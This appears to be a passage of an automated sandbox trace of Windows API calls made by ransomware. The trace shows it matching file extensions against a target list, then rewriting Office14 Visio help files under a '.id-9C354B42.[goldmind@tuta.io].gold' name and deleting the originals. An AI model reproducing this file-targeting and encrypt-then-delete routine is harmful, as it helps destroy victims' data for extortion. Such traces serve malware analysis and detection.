lstrlenW (lpString=".pdf") returned 4 [0107.368] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.368] lstrlenW (lpString=".xls") returned 4 [0107.368] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.368] lstrlenW (lpString=".xlsx") returned 5 [0107.368] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0107.368] lstrlenW (lpString=".ppt") returned 4 [0107.368] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.368] lstrlenW (lpString=".zip") returned 4 [0107.368] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.368] lstrlenW (lpString=".rar") returned 4 [0107.368] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.368] lstrlenW (lpString=".bz2") returned 4 [0107.368] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.368] lstrlenW (lpString=".7z") returned 3 [0107.368] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.368] lstrlenW (lpString=".dbf") returned 4 [0107.368] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.621] lstrlenW (lpString=".1cd") returned 4 [0107.621] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.621] lstrlenW (lpString=".jpg") returned 4 [0107.621] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.622] lstrlenW (lpString=".doc") returned 4 [0107.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.622] lstrlenW (lpString=".docx") returned 5 [0107.622] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0107.622] lstrlenW (lpString=".pdf") returned 4 [0107.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.622] lstrlenW (lpString=".xls") returned 4 [0107.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.622] lstrlenW (lpString=".xlsx") returned 5 [0107.622] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0107.622] lstrlenW (lpString=".ppt") returned 4 [0107.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.622] lstrlenW (lpString=".zip") returned 4 [0107.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.622] lstrlenW (lpString=".rar") returned 4 [0107.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.622] lstrlenW (lpString=".bz2") returned 4 [0107.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.622] lstrlenW (lpString=".7z") returned 3 [0107.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.622] lstrlenW (lpString=".dbf") returned 4 [0107.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.622] lstrlenW (lpString=".1cd") returned 4 [0107.622] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0107.622] lstrlenW (lpString=".jpg") returned 4 [0107.622] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.622] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0107.622] lstrlenW (lpString="VISIO.DEV_COL.HXT") returned 17 [0107.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.690] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=209) returned 1 [0107.690] CloseHandle (hObject=0x364) returned 1 [0107.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 0x20 [0107.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.690] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.691] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.691] GetLastError () returned 0x0 [0107.691] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xd1, lpOverlapped=0x0) returned 1 [0107.692] WriteFile (in: hFile=0x3a8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0107.692] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.692] WriteFile (in: hFile=0x3a8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0107.693] SetEndOfFile (hFile=0x3a8) returned 1 [0107.693] CloseHandle (hObject=0x3a8) returned 1 [0107.693] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.693] SetEndOfFile (hFile=0x364) returned 1 [0107.694] CloseHandle (hObject=0x364) returned 1 [0107.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 1 [0107.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.695] lstrlenW (lpString=".doc") returned 4 [0107.695] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.695] lstrlenW (lpString=".docx") returned 5 [0107.695] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.695] lstrlenW (lpString=".pdf") returned 4 [0107.695] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.695] lstrlenW (lpString=".xls") returned 4 [0107.696] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString=".xlsx") returned 5 [0107.696] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.696] lstrlenW (lpString=".ppt") returned 4 [0107.696] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.696] lstrlenW (lpString=".zip") returned 4 [0107.696] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString=".rar") returned 4 [0107.696] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString=".bz2") returned 4 [0107.696] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.696] lstrlenW (lpString=".7z") returned 3 [0107.696] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.696] lstrlenW (lpString=".dbf") returned 4 [0107.696] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.696] lstrlenW (lpString=".1cd") returned 4 [0107.696] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.696] lstrlenW (lpString=".jpg") returned 4 [0107.696] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.696] lstrlenW (lpString=".doc") returned 4 [0107.696] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.696] lstrlenW (lpString=".docx") returned 5 [0107.696] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.696] lstrlenW (lpString=".pdf") returned 4 [0107.696] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString=".xls") returned 4 [0107.696] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString=".xlsx") returned 5 [0107.696] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.696] lstrlenW (lpString=".ppt") returned 4 [0107.696] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.696] lstrlenW (lpString=".zip") returned 4 [0107.696] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString=".rar") returned 4 [0107.696] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.696] lstrlenW (lpString=".bz2") returned 4 [0107.696] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.696] lstrlenW (lpString=".7z") returned 3 [0107.696] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.697] lstrlenW (lpString=".dbf") returned 4 [0107.697] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.697] lstrlenW (lpString=".1cd") returned 4 [0107.697] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0107.697] lstrlenW (lpString=".jpg") returned 4 [0107.697] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.697] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0107.697] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXT") returned 24 [0107.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.697] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=216) returned 1 [0107.697] CloseHandle (hObject=0x364) returned 1 [0107.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 0x20 [0107.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.698] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.698] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.698] GetLastError () returned 0x0 [0107.698] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xd8, lpOverlapped=0x0) returned 1 [0107.699] WriteFile (in: hFile=0x3a8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0107.700] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.700] WriteFile (in: hFile=0x3a8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x104, lpOverlapped=0x0) returned 1 [0107.700] SetEndOfFile (hFile=0x3a8) returned 1 [0107.700] CloseHandle (hObject=0x3a8) returned 1 [0107.700] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.700] SetEndOfFile (hFile=0x364) returned 1 [0107.728] CloseHandle (hObject=0x364) returned 1 [0107.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 1 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString=".doc") returned 4 [0107.734] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.734] lstrlenW (lpString=".docx") returned 5 [0107.734] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.734] lstrlenW (lpString=".pdf") returned 4 [0107.734] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.734] lstrlenW (lpString=".xls") returned 4 [0107.734] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.734] lstrlenW (lpString=".xlsx") returned 5 [0107.734] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.734] lstrlenW (lpString=".ppt") returned 4 [0107.734] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString=".zip") returned 4 [0107.734] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.734] lstrlenW (lpString=".rar") returned 4 [0107.734] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.734] lstrlenW (lpString=".bz2") returned 4 [0107.734] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.734] lstrlenW (lpString=".7z") returned 3 [0107.734] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString=".dbf") returned 4 [0107.734] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString=".1cd") returned 4 [0107.734] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString=".jpg") returned 4 [0107.734] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.734] lstrlenW (lpString=".doc") returned 4 [0107.734] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.734] lstrlenW (lpString=".docx") returned 5 [0107.735] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.735] lstrlenW (lpString=".pdf") returned 4 [0107.735] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.735] lstrlenW (lpString=".xls") returned 4 [0107.735] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.735] lstrlenW (lpString=".xlsx") returned 5 [0107.735] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.735] lstrlenW (lpString=".ppt") returned 4 [0107.735] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.735] lstrlenW (lpString=".zip") returned 4 [0107.735] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.735] lstrlenW (lpString=".rar") returned 4 [0107.735] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.735] lstrlenW (lpString=".bz2") returned 4 [0107.735] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.735] lstrlenW (lpString=".7z") returned 3 [0107.735] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.735] lstrlenW (lpString=".dbf") returned 4 [0107.735] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.735] lstrlenW (lpString=".1cd") returned 4 [0107.735] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0107.735] lstrlenW (lpString=".jpg") returned 4 [0107.735] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.735] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.735] lstrlenW (lpString="VISIO.SHAPESHEET_F_COL.HXK") returned 26 [0107.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.736] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0107.736] CloseHandle (hObject=0x188) returned 1 [0107.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 0x20 [0107.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.736] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.736] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.737] GetLastError () returned 0x0 [0107.737] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0107.737] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.738] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.738] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x108, lpOverlapped=0x0) returned 1 [0107.738] SetEndOfFile (hFile=0x230) returned 1 [0107.738] CloseHandle (hObject=0x230) returned 1 [0107.738] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.738] SetEndOfFile (hFile=0x188) returned 1 [0107.740] CloseHandle (hObject=0x188) returned 1 [0107.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 1 [0107.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.741] lstrlenW (lpString=".doc") returned 4 [0107.741] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.741] lstrlenW (lpString=".docx") returned 5 [0107.741] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.741] lstrlenW (lpString=".pdf") returned 4 [0107.741] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.741] lstrlenW (lpString=".xls") returned 4 [0107.741] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.741] lstrlenW (lpString=".xlsx") returned 5 [0107.741] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.741] lstrlenW (lpString=".ppt") returned 4 [0107.741] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.741] lstrlenW (lpString=".zip") returned 4 [0107.741] lstrcmpiW (lpString1=".zip", 